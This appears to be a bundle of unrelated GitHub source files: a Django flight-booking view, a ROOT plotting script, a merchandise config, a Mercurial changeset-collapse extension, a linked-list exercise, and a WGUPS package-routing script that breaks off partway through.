+{"seq_id":"42536410565","text":"from django.shortcuts import render,redirect\nfrom django.http import HttpResponse,JsonResponse\nfrom django.core.exceptions import ValidationError\nfrom django.contrib import messages\nimport ast\nfrom amadeus import ResponseError\nfrom .forms import FlightForm\nfrom .api import amadeus\n\n\ndef get_flights(form):\n origin_location = form.cleaned_data.get('from_location')\n destination_location = form.cleaned_data.get('to_location')\n departure_date = form.cleaned_data.get('departure_date')\n return_date = form.cleaned_data.get('return_date')\n travel_class = form.cleaned_data.get('travel_class')\n adults = form.cleaned_data.get('adults')\n kids = form.cleaned_data.get('kids')\n\n origin_code = amadeus.reference_data.locations.get(\n subType='CITY',\n keyword=origin_location ,\n view='LIGHT'\n ).data[0]['iataCode']\n\n destination_code = amadeus.reference_data.locations.get(\n subType='CITY',\n keyword=destination_location,\n view='LIGHT'\n ).data[0]['iataCode']\n\n try:\n # Search for flight offers\n response = amadeus.shopping.flight_offers_search.get(\n originLocationCode=origin_code,\n destinationLocationCode=destination_code,\n departureDate=departure_date,\n returnDate=return_date,\n adults=adults,\n max=15\n # kids=kids\n )\n return response\n except Exception as error:\n print(error)\n raise ValidationError(\"Error occurred while searching for flights\")\n\n\ndef my_view(request):\n if request.method == 'POST':\n form = FlightForm(request.POST)\n if form.is_valid():\n try:\n response = get_flights(form)\n print(len(response.data))\n context = {'form': form, 'errors': form.errors,'response': response.data}\n return render(request, 'index.html', context)\n except Exception as e:\n print(e)\n context = {'form': form, 'errors': {'error':[e]}}\n return render(request, 'index.html', context)\n else:\n # If the form is not valid, re-render the form with error messages\n context = {'form': form, 'errors': form.errors}\n return render(request, 'index.html', context)\n else:\n form = FlightForm()\n return render(request, 'index.html', {'form': form})\n\ndef confirmation(request, confirmation_number):\n # Render the confirmation template with the confirmation number\n return render(request, 'confirmation.html', {'confirmation_number': confirmation_number})\n\n\ndef test(request): \n try:\n origin_response = amadeus.reference_data.locations.get(\n subType='CITY',\n keyword='CAIRO',\n view='LIGHT'\n )\n\n origin_code = origin_response.data[0]['iataCode']\n\n # Use the Amadeus location search API to get the IATA code for the destination city\n destination_response = amadeus.reference_data.locations.get(\n subType='CITY',\n keyword='LONDON',\n view='LIGHT'\n )\n \n destination_code = destination_response.data[0]['iataCode']\n response = amadeus.shopping.flight_offers_search.get(\n originLocationCode= origin_code,\n destinationLocationCode=destination_code,\n departureDate='2023-11-01',\n adults=1,max=1)\n\n \n return HttpResponse(response.data, \"application/json\")\n except ResponseError as error:\n print(error)\n return HttpResponse(\"response.data\", \"application/json\")\n\ndef amadeus_location_autocomplete(request):\n query = request.GET.get('term', '')\n\n try:\n locations = amadeus.reference_data.locations.get(\n subType='CITY',\n keyword=query\n ).data\n except ResponseError as error:\n print(error)\n return JsonResponse([], safe=False)\n\n location_codes = [location['name'] for location in locations]\n\n return JsonResponse(location_codes, safe=False)\n\ndef book_flight(request):\n flight = request.POST.get('flight')\n # Create a fake traveler profile for booking\n traveler = {\n \"id\": \"1\",\n \"dateOfBirth\": \"1982-01-16\",\n \"name\": {\"firstName\": \"JORGE\", \"lastName\": \"GONZALES\"},\n \"gender\": \"MALE\",\n \"contact\": {\n \"emailAddress\": \"jorge.gonzales833@telefonica.es\",\n \"phones\": [\n {\n \"deviceType\": \"MOBILE\",\n \"countryCallingCode\": \"34\",\n \"number\": \"480080076\",\n }\n ],\n },\n \"documents\": [\n {\n \"documentType\": \"PASSPORT\",\n \"birthPlace\": \"Madrid\",\n \"issuanceLocation\": \"Madrid\",\n \"issuanceDate\": \"2015-04-14\",\n \"number\": \"00000000\",\n \"expiryDate\": \"2025-04-14\",\n \"issuanceCountry\": \"ES\",\n \"validityCountry\": \"ES\",\n \"nationality\": \"ES\",\n \"holder\": True,\n }\n ],\n }\n # Use Flight Offers Price to confirm price and availability\n try:\n flight_price_confirmed = amadeus.shopping.flight_offers.pricing.post(\n ast.literal_eval(flight)\n ).data[\"flightOffers\"]\n except ResponseError as error:\n messages.error(request, error.response.body)\n return redirect('book_flight')\n\n # Use Flight Create Orders to perform the booking\n try:\n order = amadeus.booking.flight_orders.post(\n flight_price_confirmed, traveler\n ).data\n except ResponseError as error:\n messages.error(\n request, error.response.result[\"errors\"][0][\"detail\"]\n )\n return redirect('book_flight')\n\n # Redirect to confirmation page on success\n confirmation_number = order['id']\n print(order)\n context = {'confirmation_number': confirmation_number}\n return render(request, 'confirmation.html', context)\n","repo_name":"bdllhdrss3/flight-booking","sub_path":"travel/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"9064503846","text":"import sys\nimport os\nimport ROOT as R\n\nfilename=sys.argv[1]\nplot= sys.argv[2]\ncut= sys.argv[3]\noption= sys.argv[4]\n\n\n\n\n\nT=R.TChain(\"T\")\n\n\nn=T.Add(filename)\nc=R.TCanvas(\"c\",\"c\", 800, 600)\nT.Draw(plot,cut,option)\nc.Print(\"plot.png\")\n\n\n\n\n\n\t\n\n","repo_name":"rahmans1/BeamSteeringAnalysis","sub_path":"quickplot.py","file_name":"quickplot.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"74811685155","text":"NOT_CHOSEN = 'Не выбрано'\nsizes = ['Не выбрано', '2XS детский', 'XS детский', 'S детский', 'S взрослый', 'M', 'L', 'XL', '2XL', '3XL', '4XL',\n '5XL']\nsize_letters = [ \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"L\", \"M\"]\n\nclothes = [\"Футболка белая 400\",\n \"Футболка синяя 400\",\n \"Поло белое с голубым воротником 750\",\n \"Поло белое 750\",\n \"Поло синее 750\",\n \"Лонгслив белый с голубым воротником 800\",\n \"Лонгслив белый 800\",\n \"Лонгслив синий 800\",\n \"Худи белый с капюшоном 1600\",\n \"Худи синий с капюшоном 1600\",\n \"Худи белый с молнией и капюшоном 1600\",\n \"Худи синий с молнией и капюшоном 1600\",\n \"Свитшот белый 1400\",\n \"Свитшот синий 1400\",\n \"Свитшот белый с молнией 1400\",\n \"Свитшот синий с молнией 1400\",\n \"Эмблема 100\"]\n\nno_size_titles=['Эмблема']\n","repo_name":"dan0nchik/l2sh_merch","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"18332376992","text":"from mercurial import util, repair, merge, cmdutil, commands\nfrom mercurial.node import nullrev, hex\nfrom mercurial.i18n import _\nimport re\nimport StringIO\nimport os\nimport time\n\ndef collapse(ui, repo, **opts):\n \"\"\"collapse multiple revisions into one\n\n Collapse combines multiple consecutive changesets into a single changeset,\n preserving any descendants of the final changeset. The commit messages for\n the collapsed changesets are concatenated and may be edited before the\n collapse is completed.\n \"\"\"\n\n hg_vsn = re.match(r\"[0-9.]+\", util.version()).group(0)\n vsn_list = [ int(x) for x in hg_vsn.split(\".\") ]\n if vsn_list < [2,0]:\n raise util.Abort(_('Mercurial version to low (%s), '\n 'you need at least 2.0') % hg_vsn)\n\n try:\n from mercurial import scmutil\n rng = scmutil.revrange(repo, opts['rev'])\n except ImportError:\n rng = cmdutil.revrange(repo, opts['rev'])\n\n # run collapse in the repository root\n olddir = os.getcwd()\n os.chdir(repo.root)\n try:\n if opts['movelog']:\n movelog = open(opts['movelog'], 'a')\n else:\n movelog = False\n\n if opts['timedelta']:\n timedelta = float(opts['timedelta'])\n else:\n timedelta = float('inf')\n\n if not opts['auto']:\n if not rng:\n raise util.Abort(_('no revisions specified'))\n\n if opts['timedelta']:\n raise util.Abort(_('-t or --timedelta only valid with --auto'))\n if opts['userchange']:\n raise util.Abort(_('-u or --userchange only valid with --auto'))\n # FIXME add more options that don't work\n # FIXME FIXME: rework ui to make the distinction between auto\n # and not unnecessary. Integrate revsets (event disjoint)\n\n first = rng[0]\n last = rng[-1]\n revs = inbetween(repo, first, last)\n\n if not revs:\n raise util.Abort(_('revision %s is not an ancestor '\n 'of revision %s\\n') % (first, last))\n elif len(revs) == 1:\n raise util.Abort(_('only one revision specified'))\n do_collapse(ui, repo, first, last, revs, movelog, timedelta,\n opts)\n\n else: # auto mode\n if len(rng) == 0:\n start = 0\n elif len(rng) == 1:\n start = rng[0]\n else:\n util.Abort(_('multiple revisions specified with auto mode'))\n\n count = 0\n while count < 1 or opts['repeat']:\n if opts['usefirst']:\n revs = find_first_chunk(ui, repo, start, timedelta, opts)\n else:\n revs = find_last_chunk(ui, repo, start, timedelta, opts)\n\n if not revs:\n if count == 0:\n raise util.Abort(_('no revision chunk found\\n'))\n else:\n break\n\n first = min(revs)\n last = max(revs)\n\n assert len(revs) > 1\n do_collapse(ui, repo, first, last, revs, movelog, \n timedelta, opts)\n count += 1\n finally:\n os.chdir(olddir)\n \n\ndef do_collapse(ui, repo, first, last, revs, movelog, timedelta, opts): \n ui.debug(_('Collapsing revisions %s\\n') % revs)\n\n if opts['debugdelay']:\n debug_delay = float(opts['debugdelay'])\n else:\n debug_delay = False\n\n for r in revs:\n if repo[r].user() != ui.username() and not opts['force']:\n raise util.Abort(_('revision %s does not belong to %s\\n') %\n (r, ui.username()))\n if r != last:\n children = repo[r].children()\n if len(children) > 1:\n for c in children:\n if not c.rev() in revs:\n raise util.Abort(_('revision %s has child %s not '\n 'being collapsed, please rebase\\n') % (r, c.rev()))\n if r != first:\n parents = repo[r].parents()\n if len(parents) > 1:\n for p in parents:\n if not p.rev() in revs:\n raise util.Abort(_('revision %s has parent %s not '\n 'being collapsed.') % (r, p.rev()))\n\n if len(repo[first].parents()) > 1:\n raise util.Abort(_('start revision %s has multiple parents, '\n 'won\\'t collapse.') % first)\n\n try:\n cmdutil.bailifchanged(repo)\n except AttributeError:\n cmdutil.bail_if_changed(repo)\n\n parent = repo[first].parents()[0]\n tomove = list(repo.changelog.descendants([last]))\n\n head_hgtags = get_hgtags_from_heads(ui, repo, last)\n if '.hgtags' in parent:\n parent_hgtags = parent['.hgtags'].data()\n else:\n parent_hgtags = False\n\n movemap = dict.fromkeys(tomove, nullrev)\n ui.debug(_('will move revisions: %s\\n') % tomove)\n\n tagsmap = dict()\n if opts['noop']:\n ui.status(_('noop: not collapsing\\n'))\n else:\n origparent = repo['.'].rev()\n collapsed = None\n\n try:\n branch = repo[last].branch()\n collapsed = makecollapsed(ui, repo, parent, revs, branch, tagsmap,\n parent_hgtags, movelog, opts)\n movemap[max(revs)] = collapsed\n movedescendants(ui, repo, collapsed, tomove, movemap, tagsmap, \n parent_hgtags, movelog, debug_delay)\n fix_hgtags(ui, repo, head_hgtags, tagsmap)\n except:\n merge.update(repo, repo[origparent].rev(), False, True, False)\n if collapsed:\n repair.strip(ui, repo, collapsed.node(), \"strip\")\n raise\n\n if not opts['keep']:\n ui.debug(_('stripping revision %d\\n') % first)\n repair.strip(ui, repo, repo[first].node(), \"strip\")\n\n ui.status(_('collapse completed\\n'))\n\ndef makecollapsed(ui, repo, parent, revs, branch, tagsmap, parent_hgtags, \n movelog, opts):\n 'Creates the collapsed revision on top of parent'\n\n last = max(revs)\n ui.debug(_('updating to revision %d\\n') % parent)\n merge.update(repo, parent.node(), False, False, False)\n ui.debug(_('reverting to revision %d\\n') % last)\n recreaterev(ui, repo, last)\n repo.dirstate.setbranch(branch)\n msg = ''\n nodelist = []\n if opts['message'] != \"\" :\n msg = opts['message']\n else:\n first = True\n for r in revs:\n nodelist.append(hex(repo[r].node()))\n if repo[r].files() != ['.hgtags']:\n if not first:\n if opts['changelog']:\n msg += '\\n'\n else:\n msg += '----------------\\n'\n first = False\n if opts['changelog']:\n msg += \"* \" + ' '.join(repo[r].files()) + \":\\n\"\n\n msg += repo[r].description() + \"\\n\"\n\n msg += \"\\nHG: Enter commit message. Lines beginning with 'HG:' are removed.\\n\"\n msg += \"HG: Remove all lines to abort the collapse operation.\\n\"\n\n if ui.config('ui', 'interactive') != 'off':\n msg = ui.edit(msg, ui.username())\n\n pattern = re.compile(\"^HG:.*\\n\", re.MULTILINE);\n msg = re.sub(pattern, \"\", msg).strip();\n\n if not msg:\n raise util.Abort(_('empty commit message, collapse won\\'t proceed'))\n\n write_hgtags(parent_hgtags)\n newrev = repo.commit(\n text=msg,\n user=repo[last].user(),\n date=repo[last].date(), force=True)\n\n ctx = repo[newrev]\n\n newhex = hex(ctx.node())\n for n in nodelist:\n ui.debug(_('makecollapsed %s -> %s\\n' % (n, newhex))) \n tagsmap[n] = newhex\n if movelog:\n movelog.write('coll %s -> %s\\n' % (n, newhex))\n \n return ctx\n\ndef movedescendants(ui, repo, collapsed, tomove, movemap, tagsmap, \n parent_hgtags, movelog, debug_delay):\n 'Moves the descendants of the source revisions to the collapsed revision'\n\n sorted_tomove = list(tomove)\n sorted_tomove.sort()\n\n for r in sorted_tomove:\n ui.debug(_('moving revision %r\\n') % r)\n\n if debug_delay:\n ui.debug(_('sleep debug_delay: %r\\n') % debug_delay)\n time.sleep(debug_delay)\n\n parents = [p.rev() for p in repo[r].parents()]\n nodehex = hex(repo[r].node())\n if repo[r].files() == ['.hgtags'] and len(parents) == 1:\n movemap[r] = movemap[parents[0]]\n phex = hex(repo[parents[0]].node())\n assert phex in tagsmap\n tagsmap[nodehex] = tagsmap[phex]\n else:\n if len(parents) == 1:\n ui.debug(_('setting parent to %d\\n') \n % movemap[parents[0]].rev())\n repo.dirstate.setparents(movemap[parents[0]].node())\n else:\n ui.debug(_('setting parents to %d and %d\\n') %\n (map_or_rev(repo, movemap, parents[0]).rev(), \n map_or_rev(repo, movemap, parents[1]).rev()))\n repo.dirstate.setparents(map_or_rev(repo, movemap, \n parents[0]).node(),\n map_or_rev(repo, movemap, \n parents[1]).node())\n\n repo.dirstate.write()\n \n ui.debug(_('reverting to revision %d\\n') % r)\n recreaterev(ui, repo, r)\n\n write_hgtags(parent_hgtags)\n newrev = repo.commit(text=repo[r].description(), \n user=repo[r].user(), date=repo[r].date(),\n force=True)\n\n if newrev == None:\n raise util.Abort(_('no commit done: text=%r, user=%r, date=%r')\n % (repo[r].description(), repo[r].user(), \n repo[r].date()))\n \n ctx = repo[newrev]\n movemap[r] = ctx\n\n newhex = hex(ctx.node())\n tagsmap[nodehex] = newhex\n ui.debug(_('movedescendants %s -> %s\\n' % (nodehex, newhex)))\n if movelog:\n movelog.write('move %s -> %s\\n' % (nodehex, newhex))\n\ndef write_hgtags(hgtags):\n if hgtags:\n hgf = open('.hgtags', 'wb')\n hgf.write(hgtags)\n hgf.close()\n else:\n try:\n os.remove('.hgtags')\n except OSError:\n pass # .hgtags might well still not exist\n\n\ndef map_or_rev(repo, movemap, rev):\n if rev in movemap:\n return movemap[rev]\n else:\n return repo[rev]\n\ndef recreaterev(ui, repo, rev):\n ui.debug(_('reverting to revision %d\\n') % rev)\n commands.revert(ui, repo, rev=rev, all=True, date=None, no_backup=True)\n\n wctx = repo[None]\n node = repo[rev]\n\n ss = node.substate\n\n for path, info in ss.items():\n ui.debug(_('updating subrepo %s to revision %s\\n') % (path, info[1]))\n wctx.sub(path).get(info)\n\ndef fix_hgtags(ui, repo, head_hgtags, tagsmap):\n for tf in iter(tagsmap):\n ui.debug('fix_hgtags: tagsmap %s -> %s\\n' % (tf, tagsmap[tf]))\n for old in iter(head_hgtags):\n new = map_recursive(tagsmap, old)\n ui.debug('fix_hgtags: head %s -> %s\\n' % (old, new))\n merge.update(repo, repo[new].node(), False, False, False)\n tfile = open('.hgtags', 'wb')\n lines = StringIO.StringIO(head_hgtags[old])\n for line in lines:\n if not line:\n continue\n (nodehex, name) = line.split(\" \", 1)\n name = name.strip()\n nhm = map_recursive(tagsmap, nodehex)\n ui.debug('fix_hgtags: hgtags write: %s %s\\n' % (nhm, name))\n tfile.write('%s %s\\n' % (nhm, name))\n lines.close() \n tfile.close()\n wctx = repo[None]\n if '.hgtags' not in wctx:\n wctx.add(['.hgtags'])\n nrev = repo.commit(text=\"collapse tag fix\")\n if nrev:\n nctx = repo[nrev]\n ui.debug(_('fix_hgtags: nctx rev %d node %r files %r\\n') % \n (nctx.rev(), hex(nctx.node()), nctx.files()))\n ui.debug(_('fix_hgtags: nctx parents %r\\n') % \n ([hex(p.node()) for p in nctx.parents()]))\n else:\n ui.debug(_('fix_hgtags: nctx: None\\n'))\n\ndef map_recursive(m, key):\n res = key\n while res in m:\n res = m[res]\n return res\n\ndef inbetween(repo, first, last):\n 'Return all revisions between first and last, inclusive'\n\n if first == last:\n return set([first])\n elif last < first:\n return set()\n\n parents = [p.rev() for p in repo[last].parents()]\n\n if not parents:\n return set()\n\n result = inbetween(repo, first, parents[0])\n if len(parents) == 2:\n result = result | inbetween(repo, first, parents[1])\n\n if result:\n result.add(last)\n\n return result\n\ndef get_hgtags_from_heads(ui, repo, rev):\n from mercurial import scmutil\n heads = scmutil.revrange(repo,['heads(%d::)' % (rev)])\n ui.debug(_('get_hgtags_from_heads: rev: %d heads: %r\\n') % (rev, heads))\n head_hgtags = dict()\n for h in heads:\n if '.hgtags' in repo[h]:\n hgtags = repo[h]['.hgtags'].data()\n hnode = hex(repo[h].node())\n ui.debug(_('get_hgtags_from_heads: head_hgtags[%s]:\\n%s\\n') \n % (hnode, hgtags))\n head_hgtags[hnode] = hgtags\n return head_hgtags\n\n\ndef find_first_chunk(ui, repo, start, timedelta, opts):\n return find_chunk(ui, repo, start, set(), timedelta, opts)\n\ndef find_last_chunk(ui, repo, start, timedelta, opts):\n revs = find_chunk(ui, repo, start, set(), timedelta, opts)\n if revs:\n children = [c.rev() for c in repo[max(revs)].children()]\n for c in children:\n found = find_last_chunk(ui, repo, c, timedelta, opts)\n if found:\n return found\n return revs\n else:\n return set()\n\ndef find_chunk(ui, repo, start, acc, timedelta, opts):\n 'Find first linear chunk, traversing from start'\n\n children = [c.rev() for c in repo[start].children()]\n parents = [p.rev() for p in repo[start].parents()]\n\n ui.debug(_('find_chunk(%d, %s) children %s parents %s\\n') \n % (start, acc, children, parents))\n\n if len(parents) == 1 and not auto_exclude(ui, repo, start):\n if stop_here(ui, repo, parents[0], start, acc, timedelta, opts):\n if len(acc) > 1:\n return acc\n else:\n acc = set()\n acc.add(start)\n else:\n if len(acc) > 1:\n return acc\n else:\n acc = set()\n\n if len(children) == 0:\n if len(acc) > 1:\n return acc\n else:\n return set()\n elif len(children) == 1:\n return find_chunk(ui, repo, children[0], acc, timedelta, opts)\n else:\n if len(acc) > 1:\n return acc\n else:\n for c in children:\n found = find_chunk(ui, repo, c, set(), timedelta, opts)\n if found:\n return found\n return set()\n\ndef stop_here(ui, repo, parent, current, acc, timedelta, opts):\n if current == 0:\n return False\n\n td = repo[current].date()[0] - repo[parent].date()[0]\n if td > timedelta:\n ui.debug(_('timedelta parent %s current %s is %s (max %s) -> stop\\n') \n % (parent, current, td, timedelta))\n return True\n\n if opts['userchange']:\n if repo[current].user() != repo[parent].user():\n ui.debug(_('userchange parent %s user %s current %s user %s, '\n '-> stop\\n') \n % (parent, repo[parent].user(), \n current, repo[current].user()))\n return True\n\n if opts['singlefile']:\n fs = set([item for sublist in \n [repo[r].files() for r in acc] for item in sublist])\n cs = set(repo[current].files())\n if not fs.isdisjoint(cs):\n ui.debug(_('singlefile current %s fs %s cs %s -> stop\\n') \n % (current, fs, cs))\n return True\n\n if not opts['tagcollapse']:\n if repo[parent].tags():\n ui.debug(_('parent %s has tags %s -> stop\\n') \n % (parent, repo[parent].tags()))\n return True\n\n return False\n\ndef auto_exclude(ui, repo, current):\n if not repo[current].children() and '.hgtags' in repo[current].files():\n ui.debug(_('.hgtags in head %s -> exclude\\n') % (current))\n return True\n\n return False\n\n\ncmdtable = {\n\"collapse\":\n (collapse,\n [\n ('r', 'rev', [], _('revisions to collapse')),\n ('', 'keep', False, _('keep original revisions')),\n ('f', 'force', False, _('force collapse of changes '\n 'from different users')),\n ('a', 'auto', False, _('DEPRECATED: auto collapse mode')),\n ('', 'usefirst', False, _('DEPRECATED: use first match instead of last '\n '(slower with --repeat)')),\n ('', 'repeat', False, _('DEPRECATED: reapeat auto collapse until no '\n 'matches are found')),\n ('t', 'timedelta', '', _('DEPRECATED: maximum time gap between '\n 'changesets in seconds')),\n ('u', 'userchange', False, _('DEPRECATED: don\\'t auto-collapse '\n 'when the user changed')),\n ('F', 'singlefile', False, _('DEPRECATED: don\\'t autocollapse multiple '\n 'changes to the same file')),\n ('T', 'tagcollapse', False, _('DEPRECATED: auto collapse tagged '\n 'revisions')),\n ('C', 'changelog', False, _('alternate style for commit message '\n 'combination')),\n ('L', 'movelog', '', _('DEPRECATED: appends \"{move,coll} '\n 'oldnode -> newnode to this file. '\n 'MUST BE OUTSIDE THE REPOSITORY!')),\n ('n', 'noop', False, _('dry run, do not change repo')),\n ('m', 'message', \"\", _('use as combined commit message')),\n ('', 'debugdelay', '', _('DEPRECATED: for testsuite use only '\n 'this adds a delay between changeset moves '\n 'and provokes a problem with revert'))\n ],\n _('hg collapse [OPTIONS] -r REVS')),\n}","repo_name":"grassdog/dotfiles","sub_path":"files/.hgext/collapse.py","file_name":"collapse.py","file_ext":"py","file_size_in_byte":18743,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"0"}
+{"seq_id":"20724938486","text":"from linklist_helper import *\n\nclass Solution:\n def removeElements(self, head, val: int) -> ListNode:\n \"Time: O(n), Space: O(1)\"\n dummy = ListNode()\n dummy.next = head\n prev = dummy\n cur = head\n while cur:\n if cur.val == val:\n prev.next = cur.next\n else:\n prev = cur\n cur = cur.next\n return dummy.next\n\nhead = gen_linklist([1,2,6,3,4,5,6])\nval = 6\nresult = Solution().removeElements(head, val)\ndisplay_linklist(result)\n\nhead = gen_linklist([1,1])\nval = 1\nresult = Solution().removeElements(head, val)\ndisplay_linklist(result)","repo_name":"cwza/leetcode","sub_path":"python/203-Remove Linked List Elements.py","file_name":"203-Remove Linked List Elements.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"10107368427","text":"# Long Tran\r\n# Student ID: 001347132\r\n# B.S. Computer Science (March 1, 2020)\r\n# My Program Mentor: Stephannie Schiro\r\n# 405-586-4589 Central Time\r\n# ltran56@my.wgu.edu\r\n\r\n# A nearest neighbor algorithm is used to deliver packages.\r\n\r\n# Development Environment\r\n# Programming language: Python 3.10\r\n# IDE: Pycharm Community Edition 2022.1.2\r\n# Operating System: Microsoft Windows 10 Pro version 1903\r\n# AMD Ryzen 7 2700X Eight-core processor 3.7 GHz\r\n# 16 GB RAM\r\n\r\nimport csv\r\nimport re\r\nfrom datetime import datetime\r\n\r\npackageLists = []\r\n\r\n\r\n# Opens package file, skips first 8 lines and stores each package into a list.\r\n# List is used to count number of packages to set up hash table capacity.\r\ndef load_package_list(timeInput):\r\n with open('WGUPS Package File.csv') as packages:\r\n packageData = csv.reader(packages, delimiter=',')\r\n for e in range(8):\r\n next(packageData)\r\n # Corrects wrong address for package at 10:20 a.m.\r\n for line in packageData:\r\n if 'Wrong address' in line[7] and time_to_hours(timeInput, '10:20:00') > 0:\r\n line[1] = '410 S State St.'\r\n line[2] = 'Salt Lake City'\r\n line[3] = 'UT'\r\n line[4] = '84111'\r\n packageLists.append(line)\r\n\r\n\r\n# Calculates the number of hours since start of workday to inputted time\r\ndef time_to_hours(timeString, start):\r\n if len(timeString) < 7:\r\n timeString += ':00'\r\n t = datetime.strptime(timeString, \"%H:%M:%S\") # to datetime object\r\n s = datetime.strptime(start, \"%H:%M:%S\")\r\n return (t - s).total_seconds() / 3600 # 3600sec/hr / 18 mi/hr = 200 sec/mi\r\n\r\n\r\nload_package_list('8:00')\r\n\r\n\r\n# HashTable class for packages with an insert, search and remove methods.\r\nclass PackageTable:\r\n def __init__(self, cap=len(packageLists)):\r\n self.table = []\r\n for j in range(cap):\r\n self.table.append([])\r\n\r\n def insert(self, key, item):\r\n bucket = hash(key) % len(self.table)\r\n bucket_list = self.table[bucket]\r\n\r\n for value in bucket_list:\r\n if value[0] == key:\r\n value[1] = item\r\n return True\r\n\r\n key_value = [key, item]\r\n bucket_list.append(key_value)\r\n # bucket_list = self.table[bucket]\r\n return True\r\n\r\n def search(self, key):\r\n bucket = hash(key) % len(self.table)\r\n bucket_list = self.table[bucket]\r\n\r\n for value in bucket_list:\r\n if value[0] == key:\r\n return value[1]\r\n return None\r\n\r\n def remove(self, key):\r\n bucket = hash(key) % len(self.table)\r\n bucket_list = self.table[bucket]\r\n\r\n for value in bucket_list:\r\n if value[0] == key:\r\n bucket_list.remove([value[0], value[1]])\r\n\r\n\r\npackageHash = PackageTable()\r\ndistanceData = []\r\ntruck1set = set()\r\ntruck2set = set()\r\ntruck3set = set()\r\ngroup_set1 = set() # early deadline and grouped packages\r\ngroup_set2 = set() # delayed and only truck 2\r\ngroup_set3 = set() # remaining\r\ntruck1Miles = 0.0\r\ntotalMiles = 0.0\r\nmaxMiles = 0.0\r\nstatus = ''\r\nstatusHash = {}\r\nnotesHash = {}\r\n\r\nmust_be_with = {}\r\n\r\n\r\n# Adds mileage for each truck to total mileage for all trucks.\r\ndef get_total_miles(miles):\r\n global totalMiles\r\n totalMiles += miles\r\n return totalMiles\r\n\r\n\r\n# Converts number of miles to elapsed time\r\ndef miles_to_time(miles):\r\n hours = int(miles / 18)\r\n minutes = int(miles / 18 % 1 * 60)\r\n seconds = int(miles / 18 * 60 % 1 * 60)\r\n time_from_miles = '%02d:%02d:%02d' % (hours + 8, minutes, seconds)\r\n return time_from_miles\r\n\r\n\r\n# Organizes packages into sets based on priority by reading the notes of each package\r\n# and determining their delays, deadlines, and other delivery requirements.\r\n# High priority sets of packages will be on the first truck to meet deadlines and requirements.\r\ndef priority_packages(ID, deadline, notes):\r\n if 'Must be delivered with' in notes or 'EOD' not in deadline and 'Delayed' not in notes:\r\n group_set1.add(ID)\r\n truck1set.add(ID)\r\n x = re.findall(r\"\\d\\d\", notes) # Match any digit in notes\r\n for pid in x:\r\n # print(pid)\r\n group_set1.add(int(pid))\r\n truck1set.add(int(pid))\r\n elif 'truck' in notes or 'Delayed' in notes or 'Wrong address' in notes:\r\n group_set2.add(ID)\r\n truck2set.add(ID)\r\n else:\r\n group_set3.add(ID)\r\n\r\n\r\n# Fills remaining, low priority packages into trucks.\r\ndef sort_package(ID):\r\n pStatus = 'At Hub'\r\n if ID in group_set3:\r\n if len(truck1set) < 16:\r\n truck1set.add(ID)\r\n elif len(truck2set) < 16:\r\n truck2set.add(ID)\r\n elif len(truck3set) < 16:\r\n truck3set.add(ID)\r\n return pStatus\r\n\r\n\r\n# Organizes packages into trucks and inserts package data into hash table.\r\ndef load_package_hash():\r\n global status\r\n status = 'At hub'\r\n # Time Complexity: O(n), Space Complexity: O(n)\r\n for package in packageLists:\r\n priority_packages(int(package[0]), package[5], package[7]) # group priority packages\r\n # Time Complexity: O(n), Space Complexity: O(n)\r\n for package in packageLists:\r\n pID = int(package[0])\r\n pAddress = package[1]\r\n pCity = package[2]\r\n pState = package[3]\r\n pZip = package[4]\r\n pDeadline = package[5]\r\n pMass = package[6] + ' kg'\r\n notesHash[pID] = package[7]\r\n pStatus = sort_package(pID)\r\n p = [pID, pAddress, pCity, pState, pZip, pDeadline, pMass, pStatus]\r\n packageHash.insert(pID, p)\r\n\r\n\r\n# Algorithm that determines delivery route for trucks.\r\n# Reads data from WGUPS Distance Table and loads it into a nested list, then goes through\r\n# and determines the next delivery address using a nearest neighbor algorithm (the shortest distance)\r\n# for the most efficient delivery route to keep total mileage under 140 miles for all trucks.\r\ndef package_delivery(timeString, file_name, truckSet, truckName, returnToHub, delayMiles):\r\n location = 'HUB'\r\n currentRow = 7\r\n currentColumn = 2\r\n visited = {'HUB'}\r\n deliveredLocations = set()\r\n truckMiles = 0.0\r\n global totalMiles, distanceData\r\n # Updates statuses of packages in current truck\r\n for x in truckSet:\r\n p = packageHash.search(x)\r\n p[7] = 'En route - ' + truckName\r\n packageHash.insert(x, p)\r\n # Determine max mileage for each truck\r\n maxPerTruck = time_to_hours(timeString, '8:00:00') * 18 - delayMiles\r\n nextMiles = 0.0\r\n packageAmount = len(packageLists)\r\n\r\n # Time Complexity: O(n^2), Space Complexity: O(n^2)\r\n while packageAmount > 0 and len(truckSet) > 0:\r\n file = open(file_name)\r\n distanceData = list(csv.reader(file, delimiter=','))\r\n # row 27 after first run\r\n\r\n # Reads distance values for each address from the row of the current truck\r\n # location and comparing each value. Will be used to compare with column\r\n # values from the next for loop to determine next closest address.\r\n rowLocationDistance = ['', 0, 0]\r\n shortestRowDistance = 100.0\r\n # Time Complexity: O(n), Space Complexity: O(1)\r\n # go through rows for closest destination starting from 7th row\r\n for j in range(7, len(distanceData)):\r\n if distanceData[j][currentColumn] == '': # if reading empty cell\r\n pass\r\n elif shortestRowDistance > float(distanceData[j][currentColumn]) > \\\r\n 0.0 and distanceData[j][1].strip() not in visited: # addresses in 2nd column\r\n shortestRowDistance = float(distanceData[j][currentColumn]) # shortest distance\r\n location = distanceData[j][1].strip() # closest destination address\r\n rowLocationDistance = [distanceData[j][1].strip(), j, float(distanceData[j][currentColumn])]\r\n # address, row, distance\r\n\r\n # Reads distance values for each address from the column of the current truck\r\n # location and comparing each value. Will be used to compare with row values\r\n # from the previous for loop to determine next closest address.\r\n columnLocationDistance = ['', 0, 0]\r\n shortestColumnDistance = 100.0\r\n # Time Complexity: O(n), Space Complexity: O(1)\r\n # go through columns for closest destination starting from 2nd column\r\n for j in range(2, len(distanceData) - 5):\r\n if distanceData[currentRow][j] == '':\r\n pass\r\n elif shortestColumnDistance > float(distanceData[currentRow][j]) > \\\r\n 0.0 and 